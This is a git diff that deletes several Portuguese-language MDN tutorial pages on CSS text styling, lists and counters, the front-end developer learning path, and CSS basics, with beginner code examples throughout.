O ponto de entrada principal para a documentação de CSS na MDN, onde irá encontrar uma documentação de referência detalhada para todas as funcionalidades as linguagem CSS. Quer saber todos os valores que uma propriedade pode ter? Este é um bom lugar para ir.
-
diff --git a/files/pt-pt/learn/css/styling_text/fundamentals/index.html b/files/pt-pt/learn/css/styling_text/fundamentals/index.html deleted file mode 100644 index d4e2e23478..0000000000 --- a/files/pt-pt/learn/css/styling_text/fundamentals/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: Estilos de texto -slug: Learn/CSS/Styling_text/Fundamentals -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Web/Guide/CSS/Getting_started/Text_styles -original_slug: Web/CSS/Como_começar/Estilos_de_texto ---- -

{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}

- -

Esta página dá mais exemplos de estilos de texto.

- -

Você modifica sua folha de estilo de amostra para usar diferentes fontes.

- -

Informação: Estilos de texto

- -

CSS tem várias propriedades para estilos de texto.

- -

Há uma conveniente propriedade de abreviação de caracteres/palavras que facilitam a escrita, font, que você pode usar para especificar várias coisas de uma vez — por exemplo:

- -
    -
  • Negrito, itálico e letras minúsculas
  • -
  • O tamanho
  • -
  • A altura da linha
  • -
  • O tipo da fonte
  • -
- - - - - - - - -
Exemplo
-
-
-p {font: italic 75%/125% "Comic Sans MS", cursive;}
-
-
- -

Esta regra coloca várias propriedades da fonte, fazendo todos os parágrafos em itálico.

- -

O tamanho da fonte é três quartos (75%) do tamanho em cada elemento do paragrafo principal e a altura da linha é 125% (um pouco mais espaçada que o normal).

- -

O tipo da fonte é Comic Sans MS, mas se a fonte não estiver disponível então o navegador usará sua fonte cursiva padrão (escrita a mão).

- -

A regra tem o efeito colateral de desativar o negrito e as letras minúsculas (colocando-os no estilo normal)

-
- -

Tipos de fonte

- -

Você não pode predizer quais fontes os leitores do seu documento terão. Então quando você especifica tipos de fonte é uma boa idéia colocar uma lista de alternativas em ordem de preferência.

- -

Acabe a lista com um dos tipos de fontes internas padrão: serif, sans-serif, cursive, fantasy ou monospace. (Algumas destas podem ser configuradas nas Opções do seu navegador.)

- -

Se o tipo não for suportado por algumas características no documento, então o navegador pode substituí-lo por um tipo diferente. Por exemplo, o documento pode conter caracteres especiais que a fonte não suporte. Se o navegador puder encontrar outra fonte que tenha os caracteres, então ele usará a outra fonte.

- -

Para especificar um tipo de fonte por conta própria, use a propriedade font-family.

- -

Tamanho da fonte

- -

Leitores que usam os navegadores Mozilla podem configurar o tamanho padrão das fontes em Opções, e mudar o tamanho do texto quando lêem uma página, isso a torna boa para você usá-la com tamanho relativos onde você puder.

- -

Você pode usar alguns valores internos para o tamanho das fontes, como: small, medium e large. Você pode também usar valores relativos para o tamanho das fontes do elemento primário, como: smaller, larger, 150% ou 1.5em.

- -

Se necessário você pode especificar um tamanho atual, como: 12px (12 pixels) para um instrumento de exibição ou 12pt (12 pontos) para uma impressora. Este tamanho é nominalmente a largura de uma letra m, mas fontes variam na maneira do tamanho, você vê relatos do tamanho que você especifica.

- -

Para especificar um tamanho de fonte por conta própria, use a propriedade font-size.

- -

Altura da linha

- -

A altura da linha especifica o espaçamento entre linhas. Se seu documento tem longos parágrafos com muitas linhas, um espaçamento mais largo que o normal faz com que a leitura seja mais fácil, especialmente se o tamanho da fonte for pequeno.

- -

Para especificar a altura da linha por conta própria, use a propriedade line-height.

- -

Decoração

- -

A propriedade separada text-decoration pode especificar outros estilos, como underline ou line-through. Você pode configurar isto para none removendo explicitamente qualquer decoração.

- -

Outras propriedades

- -

Para especificar itálico por conta própria, use font-style: italic;
- Para especificar negrito por conta própria, use font-weight: bold;
- Para especificar letras minúsculas por conta própria, use font-variant: small-caps;

- -

Para tornar qualquer destes valores individualmente desativado, você pode especificar o valor normal ou inherit.

- - - - - - - - -
Mais detalhes
Você pode especificar os estilos do texto em uma variedade de outras maneiras. -

Por exemplo, algumas propriedades mencionadas aqui têm outros valores que podem ser usados.

- -

Em uma folha de estilo complexa, evite usar a propriedade de abreviação de caracteres/palavras que facilitam a escrita font, por causa de seus efeitos colaterais (o re-escolher de outras propriedades individuais).

- -

Para maiores detalhes sobre as propriedades relacionadas às fontes, veja Fonts na especificação do CSS. Para maiores detalhes sobre decoração de textos, veja Text.

-
- -

Ação: Especificando fontes

- -

Para um documento de amostra, você pode escolher a fonte do elemento BODY e o resto do documento herda as configurações.

- -

Edite seu arquivo CSS. Adicione esta regra para mudar a fonte completamente. O topo do arquivo CSS é um local lógico para isto, mas isto terá o mesmo efeito em qualquer lugar que for posicionado:

- -
-
body {font: 16px "Comic Sans MS", cursive;}
-
-
- -

Adicione um comentário à regra, e deixe um espaço em branco para fazer sua disposição preferido.

- -

Atualize seu navegador para ver o efeito. Se o seu sistema tem Comic Sans MS, ou outra fonte cursiva que não suporta itálico, então seu navegador escolhe um tipo diferente de fonte para o texto em itálico na primeira linha:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

Da barra de menu do seu navegador, escolha Exibir – Tamanho do Texto – Aumentar. Mesmo que o estilo especificado seja 16 pixels, um usuário lendo o documento pode mudar o tamanho.

- - - - - - - - -
Desafio
Sem mudar mais nada, faça todas as seis letras iniciais duas vezes o tamanho na fonte serifada padrão do navegador: - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento de amostra está pronto para usar várias cores nomeadas. A próxima página lista os nomes das cores padrão e explica como você pode especificar outras: Cor

- -

{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}

diff --git a/files/pt-pt/learn/css/styling_text/index.html b/files/pt-pt/learn/css/styling_text/index.html deleted file mode 100644 index 6cd91239b8..0000000000 --- a/files/pt-pt/learn/css/styling_text/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Estilizar texto -slug: Learn/CSS/Styling_text -tags: - - CSS - - Hiperligações - - Principiante - - Texto - - Tipos de Letra - - letra - - lina - - listas - - modulo - - sombra - - tipo de letra - - tipos de letra da Web -translation_of: Learn/CSS/Styling_text -original_slug: Learn/CSS/Estilo_de_texto ---- -
{{LearnSidebar}}
- -

Com os conceitos básicos da linguagem CSS cobertos, o próximo tópico de CSS para se concentrar será o estilo de texto - uma das coisas mais comuns que irá fazer com CSS. Aqui, nós vamos ver os fundamentos do estilo de texto, incluindo a configuração do tipo de letra, negrito, itálico, espaçamento de linha e letra, sombras e outros recursos de texto. Nós completamos o módulo ao analisar a aplicação de tipos de letra personalizadas para a sua página, e listas de estilo e hiperligações.

- -

Pré-requisitos

- -

Before starting this module, you should already have basic familiarity with HTML, as discussed in the Introduction to HTML module, and be comfortable with CSS fundamentals, as discussed in Introduction to CSS.

- -
-

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin, CodePen or Thimble.

-
- -

Guias

- -

This module contains the following articles, which will teach you all of the essentials behind styling HTML text content.

- -
-
Fundamental text and font styling
-
In this article we go through all the basics of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.
-
Styling lists
-
Lists behave like any other text for the most part, but there are some CSS properties specific to lists that you need to know about, and some best practices to consider. This article explains all.
-
Styling links
-
When styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs. We'll look at all these topics in this article.
-
Web fonts
-
Here we will explore web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling.
-
- -

Avaliações

- -

The following assessments will test your understanding of the text styling techniques covered in the guides above.

- -
-
Typesetting a community school homepage
-
In this assessment we'll test your understanding of styling text by getting you to style the text for a community school's homepage.
-
- -
- - - - - -
diff --git a/files/pt-pt/learn/css/styling_text/styling_lists/index.html b/files/pt-pt/learn/css/styling_text/styling_lists/index.html deleted file mode 100644 index 654b8a240e..0000000000 --- a/files/pt-pt/learn/css/styling_text/styling_lists/index.html +++ /dev/null @@ -1,363 +0,0 @@ ---- -title: Listas -slug: Learn/CSS/Styling_text/Styling_lists -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Styling_text/Styling_lists -translation_of_original: Web/Guide/CSS/Getting_started/Lists -original_slug: Web/CSS/Como_começar/Listas ---- -

{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}

- -

Esta página descreve como você pode usar as CSS para especificar a aparência das listas.

- -

Você cria um novo documento de amostra contendo listas, e uma nova folha de estilo que estiliza as listas.

- -

Informação: Listas

- -

Se você resolveu o desafio da última página (Conteúdo), então você viu como você pode adicionar conteúdo antes de qualquer elemento para mostrar isto como o item de uma lista.

- -

CSS proporciona propriedades especiais que foram designadas para listas. Geralmente é mais conveniente usar estas propriedades sempre que você puder.

- -

Para especificar o estilo para uma lista, use a propriedade list-style para especificar o tipo de marcador.

- -

O seletor nas regras do seu CSS pode selecionar qualquer um dos elementos na sua lista de itens (por exemplo, LI), ou isto pode selecionar o elemento primário da lista (por exemplo, UL). Então os elementos da lista herdam o estilo.

- -

Listas não ordenadas

- -

Em uma lista não ordenada, cada item da lista é marcado da mesma maneira.

- -

CSS tem três tipos de marcador. Aqui está como seu navegador os mostra:

- -
    -
  • disc
  • -
  • circle
  • -
  • square
  • -
- -

Alternativamente, você pode especificar a URL de uma imagem.

- - - - - - - - -
Exemplo
Estas regras especificam diferentes marcadores para diferentes classes de itens da lista: -
-
-li.open {list-style: circle;}
-li.closed {list-style: disc;}
-
-
- -

Quando estas classes são usadas em uma lista, elas distinguem entre os itens aberto (open) e fechado (closed):

- -
-
-<UL>
-  <LI class="open">Lorem ipsum</LI>
-  <LI class="closed">Dolor sit</LI>
-  <LI class="closed">Amet consectetuer</LI>
-  <LI class="open">Magna aliquam</LI>
-  <LI class="closed">Autem veleum</LI>
-</UL>
-
-
- -

O resultado será parecido com:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- -

Listas ordenadas

- -

Em uma lista ordenada, cada item da lista é marcado diferentemente para mostrar a posição em seqüência.

- -

Use a propriedade list-style para especificar o tipo de marcador:

- -
    -
  • decimal
  • -
  • lower-roman
  • -
  • upper-roman
  • -
  • lower-latin
  • -
  • upper-latin
  • -
- - - - - - - - -
Exemplo
Esta regra especifica os elementos OL com a classe info, os itens são identificados com letras maiúsculas. -
-
-ol.info {list-style: upper-latin;}
-
-
- -

Os elementos LI na lista herdam este estilo:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- - - - - - - - -
Mais detalhes
A propriedade list-style é uma propriedade "abreviada". Em folhas de estilo complexas você pode preferir usar propriedades separadas para configurar valores separados. Para detalhes sobre estas propriedades separadas, e mais detalhes sobre como as CSS especificam listas, veja Lists na CSS Specification. -

Se você está usando a linguagem de marcação como o HTML que proporciona tags convecionais para listas não ordenadas (UL) e ordenadas (OL), então é bom praticar usando tags da maneira que foi explicado. Contudo, você pode usar as CSS para fazer UL mostrar ordenado e OL para mostrar não ordenado se você precisar.

- -

Os navegadores diferem no modo como implementam os estilos das listas. Não espere que sua folha de estilo dê resultados idênticos em todos os navegadores.

-
- -

Contadores

- -
-

Note:  Alguns navegadores não suportam contadores.

-
- -

Você pode usar contadores para numerar quaisquer elementos, não somente itens listados. Por exemplo, em alguns documentos você pode querer numerar cabeçalhos ou parágrafos.

- -

Para especificar uma numeração, você precisa de um contador com um nome que você especifica.

- -

Em alguns elementos antes da contagem começar, re-inicie o contador com a propriedade counter-reset e o nome do seu contador. O principal dos elementos que você estiver contando é um bom lugar para isto, mas você pode usar qualquer elemento que esteja antes da lista de itens.

- -

Em cada elemento que o contador incrementar, use a propriedade counter-increment e o nome do seu contador.

- -

Para mostrar seu contador, adicione :before ou :after ao seletor e use a propriedade content (como fez na página anterior, Conteúdo).

- -

No valor da propriedade content, especifique counter() com o nome do seu contador. Opcionalmente especifique um tipo. Os tipos são como na seção passada em Listas ordenadas.

- -

Normalmente o elemento que mostra o contador também incrementa isto.

- - - - - - - - -
Exemplo
Esta regra inicializa um contador para cada elemento H3 com a classe numbered: -
-
-h3.numbered {counter-reset: mynum;}
-
-
- -

Esta regra mostra e incrementa o contador para cada elemento P com a classe numbered:

- -
-
-p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
-
- -

O resultado se parece com isto:

- - - - - - - -
Cabeçalho - -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- - - - - - - - -
Mais detalhes
Você não pode usar contadores a menos que você saiba que todos os que lêem o seu documento têm um navegador que os suporta. -

Se você puder usar contadores, eles tem a vantagem de que você pode estilizar os contadores separadamente da lista de itens. No exemplo anterior, os contadores estão em negrito mas a os itens da lista não.

- -

Você pode também usar contadores em meios mais complexos — por exemplo, para numerar seções, cabeçalhos, sub-cabeçalhos e parágrafos em documentos formais. Para detalhes, veja Automatic counters and numbering em CSS Specification.

-
- -

Ação: Listas denominadas

- -

Crie um novo documento HTML, doc2.html. Copie e cole o conteúdo daqui, tendo certeza de que você rola o mouse para pegar tudo isto:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-<HEAD>
-<TITLE>Documento de amostra 2</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style2.css">
-</HEAD>
-<BODY>
-
-<H3 id="oceans">Os oceanos</H3>
-<UL>
-<LI>Ártico</LI>
-<LI>Atlântico</LI>
-<LI>Pacífico</LI>
-<LI>Índico</LI>
-<LI>Antártico</LI>
-</UL>
-
-<H3 class="numbered">Numbered paragraphs</H3>
-<P class="numbered">Lorem ipsum</P>
-<P class="numbered">Dolor sit</P>
-<P class="numbered">Amet consectetuer</P>
-<P class="numbered">Magna aliquam</P>
-<P class="numbered">Autem veleum</P>
-
-</BODY>
-</HTML>
-
-
- -

Faça uma nova folha de estilo, style2.css. Copie e cole o conteúdo daqui:

- -
-
/* parágrafos numerados */
-h3.numbered {counter-reset: mynum;}
-
-p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
-
- -

Se a disposição e o comentário não estiver ao seu gosto, mude-os.

- -

Abra o documento no seu navegador. Se o seu navegador suporta contadores, você verá algo semelhante ao exemplo abaixo. Se o seu navegador não suporta contadores, então você não verá os números (e provavelmente nem sequer os dois pontos (:)):

- - - - - - - -
-

Os oceanos

- -
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
- -

Parágrafos numerados

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- - - - - - - - -
Desafios
Adicione uma regra à sua folha de estilo, para numerar os oceanos usando numerais Romanos de i até v: - - - - - - -
-

Os oceanos

- -
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -


- Se o seu navegador suporta contadores, mude sua folha de estilo para identificar o cabeçalho com letras maiúsculas em parênteses como isto:

- - - - - - - -
-

(A) Os oceanos

- -

. . .

- -

(B) Parágrafos numerados

- -

. . .

-
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Quando seu navegador exibe seu documento de amostra, cria espaços ao redor dos elementos quando eles são exibidos na página.

- -

A próxima página descreve como você pode usar as CSS para trabalhar com formas subjacentes de elementos: Caixas

- -

{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}

diff --git a/files/pt-pt/learn/front-end_web_developer/index.html b/files/pt-pt/learn/front-end_web_developer/index.html deleted file mode 100644 index 08d3626f6a..0000000000 --- a/files/pt-pt/learn/front-end_web_developer/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Front-end web developer -slug: Learn/Front-end_web_developer -translation_of: Learn/Front-end_web_developer ---- -

{{learnsidebar}}

- -

Bem-vindos ao roteiro de aprendizado em desenvolvimento web front-end!

- -

Aqui disponibilizamos tudo o que precisas para te tornares um desenvolvedor Web front-end. Simplesmente trabalha cada secção deste curso, aprendendo novas habilidades (ou melhorando as que já tens) á medida que avanças. Cada secção inclui exercicios e avaliações para testar a tua compreensão antes de avançares para proxima.

- -

Temas abrangidos

- -

Os temas abrangidos são:

- -
    -
  • Preparação básica e aprender como estudar
  • -
  • Normas da Web e boas práticas (como por exemplo acessibilidade e compatibilidade entre navegadores)
  • -
  • HTML, a linguaguem de marcacao que proporciona a estrutura do conteudo web e seu significado
  • -
  • CSS, a linguaguem usada para estilizar as paginas web
  • -
  • JavaScript, a linguagem de definicoes usada para criar interacoes na web
  • -
  • Ferramentas que sao usadas para facilitar o desenvolvimento web moderno do lado do cliente
  • -
- -

Sinta-se livre para trabalhar nas seccoes por ordem, mas cada uma e tambem independente. Por exemplo, se voce ja domina HTML, podes seguir para a seccao de CSS.

- -

Pre requisitos

- -

Voce nao precisa de nenhum conhecimento anterior para este curso. Tudo que precisas e de um computador que possa operar um navegador moderno, conexao a internet, e boa vontade para aprender.

- -

Se nao estiveres seguro de que desenvolvimento web front-end e para si, e/ou voce quer uma introducao mais gentil antes de iniciar um curso mais longo e completo, trabalhe no nosso modulo Iniciando com a web (ingles) primeiramente.

- -

Obtendo ajuda

- -

Nos tentamos tornar o aprendizado de desenvolvimento web front-end mais confortavel possivel, mas provavelmente voce ainda fique bloqueado porque nao percebe alguma coisa, ou algum codigo ainda nao esteje funcionando.

- -

Nao entre em panico. Todos nos bloqueamos, quando somos iniciantes ou desenvolvedores web profissionais. O artigo Estudando e obtendo ajuda (ingles) e proporcionado a ti com uma serie de dicas para encontrares informacoes e auto ajudas. Se ainda assim continuas bloqueado, sinta se avontade para postar uma pergunta no nosso Forum discussao (ingles).

- -

Vamos iniciar. Boa sorte!

- -

O roteiro de aprendizagem

- -

Iniciando

- -

Tempo de duracao: 1.5–2 horas

- -

Pre requisitos

- -

Nada mais, excepto um basico dominio computacional.

- -

Como saberei que estou pronto para continuar?

- -

Nao ha avaliacoes nesta seccao do curso. Mas certifique se de nao ignora-la. E importante que voce esteja preparado para trabalhar com os proximos exercicios do curso.

- -

Guias

- - - -

Semantica e estruturas com HTML

- -

Tempo de duracao: 35–50 horas

- -

Pre requisitos

- -

Nada mais, excepto um basico dominio computacional e um basico ambiente de desenvolvimento web.

- -

Como saberei que estou pronto para continuar?

- -

As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.

- -

Modulos

- - - -

Estilizando e organizando com CSS

- -

Tempo de duracao: 90–120 horas

- -

Pre requisitos

- -

E recomendavel que voce tenha um conhecimento basico sobre HTML antes de comecar a aprender CSS. Deves no minimo estudar primeiramente a Introducao ao HTML (ingles).

- -

Como saberei que estou pronto para continuar?

- -

As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.

- -

Modulos

- - - -

Fontes extras

- - - -

Interacao com JavaScript

- -

Tempo de duracao: 135–185 horas

- -

Pre requisitos

- -

E recomendavel que voce tenha um conhecimento basico sobre HTML antes de comecar a aprender JavaScript. Deves no minimo estudar primeiramente a Introducao ao HTML (ingles).

- -

Como saberei que estou pronto para continuar?

- -

As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.

- -

Modulos

- - - -

Formularios web — Trabalhando com dados de usuario

- -

Tempo de duracao: 40–50 horas

- -

Pre requisitos

- -

Formularios requerem conhecimento sobre HTML, CSS e JavaScript. A complexidade em trabalhar com formularios fazem deste um topico dedicado.

- -

Como saberei que estou pronto para continuar?

- -

As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.

- -

Modulos

- - - -

Fazendo o trabalho de web para todos

- -

Tempo de duracao: 60–75 horas

- -

Pre requisitos

- -

Seria uma otima ideia conhecer sobre HTML, CSS e JavaScript antes de trabalhar nesta seccao. Inclui outras tecnicas e boas praticas em contacto com multiplas tecnologias.

- -

Como saberei que estou pronto para continuar?

- -

As avaliacoes em cada modulo estao designadas para testar o teu conhecimento sobre a importancia do assunto.  A conclusao das avaliacoes confirma que estas pronto a seguir para o proximo modulo.

- -

Modulos

- - - -

Ferramentas modernas

- -

Tempo de duracao: 55–90 horas

- -

Pre requisitos

- -

Seria uma otima ideia conhecer sobre HTML, CSS e JavaScript antes de trabalhar nesta seccao, tal como ferramentas abordadas que trabalham em conjunto com muitas destas tecnologias.

- -

Como saberei que estou pronto para continuar?

- -

Nao ha avaliacoes especificas nos artigos definidos neste modulo. Os tutoriais de estudo de caso no final do segundo e terceiro modulo preparar-te-ao para dominar o essencial sobre as ferramentas modernas.

- -

Modulos

- - diff --git a/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html deleted file mode 100644 index 066748249a..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: CSS - Essencial -slug: Learn/Getting_started_with_the_web/CSS_basics -tags: - - Aprender - - Beginner - - CSS - - CodingScripting - - Estilo - - I10n:priority - - Web -translation_of: Learn/Getting_started_with_the_web/CSS_basics -original_slug: Learn/Comecar_com_a_Web/CSS_basico ---- -
{{LearnSidebar}} -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}
-
- -
-

CSS (Folhas de Estilo em Cascata) é o código que se utiliza para estilizar a sua página da Web. CSS - Elementar guia-o através do que precisa para começar. Vamos responder a perguntas deste género: Como é que eu coloco o meu texto a preto ou vermelho? Como é que eu faço para que o meu conteúdo apareça neste lugar do ecrã? Como é que eu decoro a minha página da Web, com cores e imagens de fundo?

-
- -

Então, o que realmente é o CSS?

- -

Tal como o HTML, o CSS não é bem uma linguagem de programação; também não é uma linguagem de demarcação. É uma linguagem de folha de estilos. Isto significa que permite aplicar estilos seletivamente aos elementos nos documentos HTML. Por exemplo, para selecionar todos os elementos do parágrafo numa página HTML e transformar o texto dentro deles em vermelho, iria escrever este CSS:

- -
p {
-  color: red;
-}
- -

Vamos tentar: copie e cole estas três linhas de CSS num novo ficheiro do editor de texto, depois grave com o nome style.css na diretoria styles.

- -

Mas ainda é preciso aplicar este CSS ao seu documento HTML. Se não, os estilos CSS não vão afetar a forma como o seu navegador apresenta o documento HTML. (Se não tem seguido o nosso projeto, leia Lidar com ficheiros e HTML - Essencial para saber o que fazer primeiro)

- -
    -
  1. Abra o seu ficheiro index.html e cole a linha seguinte no cabeçalho (isto é, entre as marcas <head> e </head>): - -
    <link href="styles/style.css" rel="stylesheet" type="text/css">
    -
  2. -
  3. Guarde o ficheiro index.html e aceda-lhe no seu navegador. Deverá ver algo deste género:
  4. -
- -

A mozilla logo and some paragraphs. The paragraph text has been styled red by our css.O texto dos seus parágrafos ficou vermelho. Parabéns! Acabou de escrever com sucesso o seu primeiro CSS.

- -

Anatomia de um conjunto de regras de CSS

- -

Vejamos o CSS acima com um pouco mais de detalhe:

- -

- -

A esta estrutura dá-se o nome conjunto de regras (geralmente, "regra" para abreviar). Repare nos nomes de cada parte:

- -
-
Seletor
-
Neste caso, é o nome do elemento HTML, no início do conjunto de regras. Seleciona o(s) elemento(s) a que vai ser aplicado o estilo (neste caso, todos os elementos p). Para dar estilo a outro elemento, muda-se o seletor.
-
Declaração
-
Trata-se de uma única regra, como  color: red;, que especifica as propriedades que se pretendem modificar no elemento.
-
Propriedades
-
São as formas como se pode estilizar o elemento HTML (Neste caso, color é uma propriedade dos elementos {{htmlelement("p")}}). Em CSS, pode escolher que propriedades pretende modificar na regra.
-
Valor da propriedade
-
À direita da propriedade, depois dos dois pontos (:), temos o valor da propriedade, que escolhe uma das possíveis aparências que a propriedade pode indicar (há muitos mais valores para color além de red).
-
- -

Repare em outros aspetos importantes da sintaxe:

- -
    -
  • Cada conjunto de regras (além do seletor) tem que estar entre chavetas ({}).
  • -
  • Dentro de cada declaração, utilize dois pontos (:) para separar a propriedade dos seus valores.
  • -
  • Dentro de cada conjunto de regras, utilize ponto e vírgula (;) para separar cada declaração da próxima.
  • -
- -

Para modificar múltiplas propriedades, basta separá-las com o ponto e vírgula, assim:

- -
p {
-  color: red;
-  width: 500px;
-  border: 1px solid black;
-}
- -

Selecionar múltiplos elementos

- -

Também pode selecionar vários elementos e aplicar um conjunto de regras único para todos eles. Inclua múltiplos seletores separados por vírgulas. Por exemplo:

- -
p, li, h1 {
-  color: red;
-}
- -

Diferentes tipos de seletor

- -

Há muitos tipos diferentes de seletor. Por cima, apenas olhámos para seletores de elementos, que selecionam todos os elementos de determinado tipo no documento HTML a que são aplicados. Mas podemos fazer seleções mais específicas. Em baixo, estão alguns dos tipos mais comuns de seletores:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do seletorO que é que este selecionaExemplo
Seletor de elemento (também chamado seletor de etiqueta ou tipo)Todos os elementos HTML do tipo especificado.p
- Seleciona todos os elementos <p>
Seletor de ID O elemento da página com o ID especificado (numa página HTML, só pode haver um elemento para cada ID e vice-versa).#my-id
- Seleciona <p id="my-id"> ou <a id="my-id"> (não devem existir ambos na mesma página)
Seletor de classeSeleciona o(s) elementos(s) da página com a classe especificada (é possível haver elementos diferentes com a mesma classe)..my-class
- Seleciona <p class="my-class"> e também <a class="my-class">
Seletor de atributoSeleciona o(s) elementos(s) que tenham o atributo dado.img[src]
- Seleciona <img src="myimage.png"> mas não seleciona <img>
Seletor de Pseudo-classeO(s) elemento(s) especificado(s), mas só quando estiverem no estado indicado. Ex: quando se tem cursor do rato sobre eles.a:hover
- Seleciona <a>, mas só quando o cursor está sobre o link.
- -

Existem muitos mais seletores para explorar, e pode encontrar uma lista mais detalhada no nosso Guia de seletores.

- -

Fonte e texto

- -

Agora que explorámos as bases do CSS, vamos acrescentar regras e informação ao nosso ficheiro style.css para que o exemplo tenha boa apresentação.

- -
    -
  1. Primeiro, volte atrás e encontre o output de Google Fonts que guardou num lugar seguro. Acrescente o elemento {{htmlelement("link")}} no cabeçalho do index.html (entre etiquetas <head> e </head>). - -
    <link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    -
  2. -
  3. De seguida, apague a regra que tinha no ficheiro style.css. Foi um bom teste, mas a cor vermelha não ficou muito bem.
  4. -
  5. Insira as linhas que se seguem, substituindo a linha de substituição pela linha font-family que obteve no site Google Fonts. (font-family indica o nome do tipo de letra). Esta regra estabelece um tamanho e tipo de letra global, em toda a página, já que o elemento <html> é o elemento raiz e todos os elementos aninhados herdam font-size e font-family: -
    html {
    -  font-size: 10px; /* px significa 'píxeis': o tamnho da letra base é duma altura de 10 píxeis */
    -  font-family: placeholder: aqui deve aparecero resto do output do Google fonts
    -}
    - -
    -

    Nota: num documento CSS, tudo o que esteja entre /* e */ é um comentário de CSS, que o navegador ignora quando processa o código. Os comentários servem para escrever notas úteis sobre o que está a fazer.

    -
    -
  6. -
  7. Agora estabelecemos o tamanho da letra para elementos textuais no corpo do HTML: ({{htmlelement("h1")}}, {{htmlelement("li")}}, e {{htmlelement("p")}}). Também vamos centrar o texto dos nossos títulos e especificar altura da linha de texto e espaçamento entre letras no corpo para o tornar mais legível: -
    h1 {
    -  font-size: 60px;
    -  text-align: center;
    -}
    -
    -p, li {
    -  font-size: 16px;
    -  line-height: 2;
    -  letter-spacing: 1px;
    -}
    -
  8. -
- -

Pode ajustar os valores de px conforme achar que fica melhor, mas em geral, o design deve ter esta aparência:

- -

a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered

- -

Caixas, caixas, é tudo sobre caixas

- -

Quando escreve CSS, poderá notar que a maior parte do esforço é referente a caixas — configurar o seu tamanho, cor, posição, etc. Pode pensar na maioria dos elementos de HTML da sua página como caixas colocadas umas sobre a outras.

- -

a big stack of boxes or crates sat on top of one another

- -

Sem surpresa, a disposição de elementos em CSS assenta principalmente num modelo de caixa. Cada um dos blocos que ocupa espaço na sua página tem propriedades como:

- -
    -
  • padding (preenchimento) — espaço em volta do elemento (ex: em volta do texto de um parágrafo)
  • -
  • border (contorno) — a linha que fica em torno do preenchimento
  • -
  • margin (margem) — espaço exterior em torno do elemento
  • -
- -

three boxes sat inside one another. From outside to in they are labelled margin, border and padding

- -

Nesta secção também vamos usar:

- -
    -
  • width — largura do elemento
  • -
  • background-color — cor de fundo que fica atrás do conteúdo e preenchimento do elemento
  • -
  • color — a cor do conteúdo (geralmente o conteúdo é texto)
  • -
  • text-shadow — sombreado do texto de um elemento
  • -
  • display  modo de apresentação do elemento (não se preocupe ainda com detalhes)
  • -
- -

Portanto, vamos começar e acrescentar algum CSS à nossa página! Acrescente as novas regras no fim do ficheiro e não tenha medo de mudar os valores para ver como fica.

- -

Alterar a cor da página

- -
html {
-  background-color: #00539F;
-}
- -

Esta regra estabelece uma cor de fundo na página inteira. Mude o código de cor para aquele que escolheu quando planeou o seu site.

- -

Ordenar o corpo

- -
